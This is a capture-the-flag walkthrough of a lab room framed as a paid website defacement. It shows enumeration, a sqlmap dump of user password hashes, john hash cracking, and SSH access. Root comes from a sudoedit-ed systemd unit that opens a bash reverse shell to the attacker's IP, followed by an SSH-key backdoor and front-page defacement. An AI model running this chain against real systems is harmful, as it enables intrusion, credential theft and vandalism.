This room has a solid start:
To whom it may concern,
I know it was you who hacked my blog. I was really impressed with your skills. You were a little sloppy
and left a bit of a footprint so I was able to track you down. But, thank you for taking me up on my offer.
I've done some initial enumeration of the site because I know *some* things about hacking but not enough.
For that reason, I'll let you do your own enumeration and checking.
What I want you to do is simple. Break into the server that's running the website and deface the front page.
I don't care how you do it, just do it. But remember...DO NOT BRING DOWN THE SITE! We don't want to cause irreparable damage.
When you finish the job, you'll get the rest of your payment. We agreed upon $5,000.
Half up-front and half when you finish.
Good luck,
Billy
1. Scanning & Enumeration
We do the below scans in parallel.
1.1. Port Scanning
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:53:b7:7a:eb:ab:22:70:1c:f7:3c:7a:c7:76:d9:89 (RSA)
| 256 43:77:00:fb:da:42:02:58:52:12:7d:cd:4e:52:4f:c3 (ECDSA)
|_ 256 2b:57:13:7c:c8:4f:1d:c2:68:67:28:3f:8e:39:30:ab (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Info gathered:
- port 22 open with SSH running
- port 80 open with http running
A complete port scan does not reveal any more information.
1.2. Web Enumeration
Gobuster scan:
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html,txt' -t 108 -q -u 10.10.212.230
/index (Status: 200) [Size: 8541]
/login (Status: 200) [Size: 4980]
/contact (Status: 200) [Size: 6906]
/products (Status: 200) [Size: 7254]
/static (Status: 301) [Size: 194] [--> http://10.10.212.230/static/]
/admin (Status: 200) [Size: 4983]
/requirements.txt (Status: 200) [Size: 258]
1.3. Web Exploration
home page of rubber ducky
Login page redirects to an action=#
in the url.
requirements.txt
file:
attrs==19.3.0
bcrypt==3.1.7
cffi==1.14.1
click==7.1.2
Flask==1.1.2
Flask-Bcrypt==0.7.1
Flask-SQLAlchemy==2.4.4
itsdangerous==1.1.0
Jinja2==2.11.2
MarkupSafe==1.1.1
pycparser==2.20
PyMySQL==0.10.0
six==1.15.0
SQLAlchemy==1.3.18
Werkzeug==1.0.1
1.4. Sub-domain Fuzzing (fail) (can be skipped)
Add the line 10.10.212.230 ducky.thm
to the /etc/hosts
file.
┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.212.230 ducky.thm
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
We find any subdomains by using wfuzz
: wfuzz -c -w ~/Desktop/tools/files/subdomains-top1million-5000.txt -u 'http://ducky.thm/' -H "Host: FUZZ.ducky.thm"
Here’s whats happening:
- -c is for color
- -w is for wordlist
- -H is for host
- -u is for URL
- FUZZ is replaced by the item in the wordlist
┌──(kali㉿kali)-[~]
└─$ wfuzz -c -w ~/Desktop/tools/files/subdomains-top1million-5000.txt -u 'http://ducky.thm/' -H "Host: FUZZ.ducky.thm" --hw 636
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://ducky.thm/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 4989
Filtered Requests: 4989
Requests/sec.: 0
1.5. SQLI (fail) (can be skipped)
We can check for SQL Injection vulnerabilities using SQLmap: sqlmap -u http://10.10.212.230/admin --forms --dump-all
However,
[ERROR] all tested parameters do not appear to be injectable.
1.6. Login Page Exploration (fail) (can be skipped)
GET /login?action= HTTP/1.1
Host: 10.10.212.230
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.212.230/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Looks like … the username and password is not being sent at all?!
This means that we are looking at something else …
Even in sqlmap, I noticed the form that was being epxloited was the GET
form,
[01:25:18] [INFO] searching for forms
[#1] form:
GET http://10.10.212.230/login?action=
This means that we want to fill in and add parameters for username
and password
.
Perhaps something like this: http://10.10.212.230/login?username=&password=&action=
Oh! And recall we had pymysql
present in the requirements.txt
file. This means we are using MySQL as the database.
So I tried and then tried some more but it failed. What next? Well I noticed something interesting back in the error pages.
1.7. Error! Error!
You see, the /products/1
page is fine, but /products/100
page gives a 500 error. This is server side error.
On the other hand, a page like /pwn
gives:
See the difference? Maybe, what we are looking for, is an attack on the /products/
page!
Run: sqlmap -u http://10.10.212.230/products/1 --dump
Database: duckyinc
Table: system_user
[3 entries]
+----+----------------------+--------------+--------------------------------------------------------------+
| id | email | username | _password |
+----+----------------------+--------------+--------------------------------------------------------------+
| 1 | sadmin@duckyinc.org | server-admin | {hash_was_here!} |
| 2 | kmotley@duckyinc.org | kmotley | $2a$12$LEENY/LWOfyxyCBUlfX8Mu8viV9mGUse97L8x.4L66e9xwzzHfsQa |
| 3 | dhughes@duckyinc.org | dhughes | $2a$12$22xS/uDxuIsPqrRcxtVmi.GR2/xh0xITGdHuubRF4Iilg5ENAFlcK |
+----+----------------------+--------------+--------------------------------------------------------------+
In the user
table we get the first flag :D
1.8. Hash Cracking
┌──(kali㉿kali)-[/tmp]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 256 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
{hidden} (?)
1g 0:00:00:00 DONE (2021-06-27 01:49) 3.846g/s 1038p/s 1038c/s 1038C/s hellokitty..hotmail
Use the "--show" option to display all of the cracked passwords reliably
Session completed
2. Foothold
We know the /login
and the /admin
pages are completely useless. That leaves us with SSH.
After lots of manual bruteforcing, I found the username is actually server-admin
and not sadmin
.
┌──(kali㉿kali)-[/tmp]
└─$ ssh server-admin@10.10.212.230
server-admin@10.10.212.230's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
8 packages can be updated.
0 updates are security updates.
################################################################################
# Ducky Inc. Web Server 00080012 #
# This server is for authorized Ducky Inc. employees only #
# All actiions are being monitored and recorded #
# IP and MAC addresses have been logged #
################################################################################
Last login: Wed Aug 12 20:09:36 2020 from 192.168.86.65
server-admin@duckyinc:~$
2.1. Exploration
Users
server-admin@duckyinc:~$ ls /home
server-admin
crontab
server-admin@duckyinc:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
SUID
server-admin@duckyinc:~$ find / -type f -perm -u=s 2> /dev/null
/usr/bin/newgidmap
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
SUDO
server-admin@duckyinc:~$ sudo -l
[sudo] password for server-admin:
Matching Defaults entries for server-admin on duckyinc:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User server-admin may run the following commands on duckyinc:
(root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart
duckyinc.service, /bin/systemctl daemon-reload, sudoedit /etc/systemd/system/duckyinc.service
Great! Looks like sudo can lead us to root!
3. PrivEsc
3.1. Getting root
Type in: sudoedit /etc/systemd/system/duckyinc.service
and replace the contents with the below.
[Unit]
Description=pwn
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'
[Install]
WantedBy=multi-user.target
Make sure to replace the IP as per your attacking machine. Also, start a listener nc -lnvp 1337
I did the following,
server-admin@duckyinc:~$ sudo /bin/systemctl daemon-reload
server-admin@duckyinc:~$ sudo /bin/systemctl enable duckyinc.service
server-admin@duckyinc:~$ sudo /bin/systemctl restart duckyinc.service
server-admin@duckyinc:~$ sudo /bin/systemctl start duckyinc.service
And we have the shell!
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.17.8.184] from (UNKNOWN) [10.10.212.230] 44520
bash: cannot set terminal process group (16663): Inappropriate ioctl for device
bash: no job control in this shell
root@duckyinc:/# cd /root
cd /root
root@duckyinc:~# ls
Feel free to root@duckyinc:~/.ssh# echo "{your_own_id_rsa.pub_key_here}" >> authorized_keys
for a ssh login.
3.2. Defacing Website
root@duckyinc:/var/www/duckyinc/templates# echo "pwned by chaudhary1337" > index.html
root@duckyinc:/var/www/duckyinc/templates# cd ~
root@duckyinc:~# ls
flag3.txt
root@duckyinc:~# cat flag3.txt
thm{yeee}
System compromised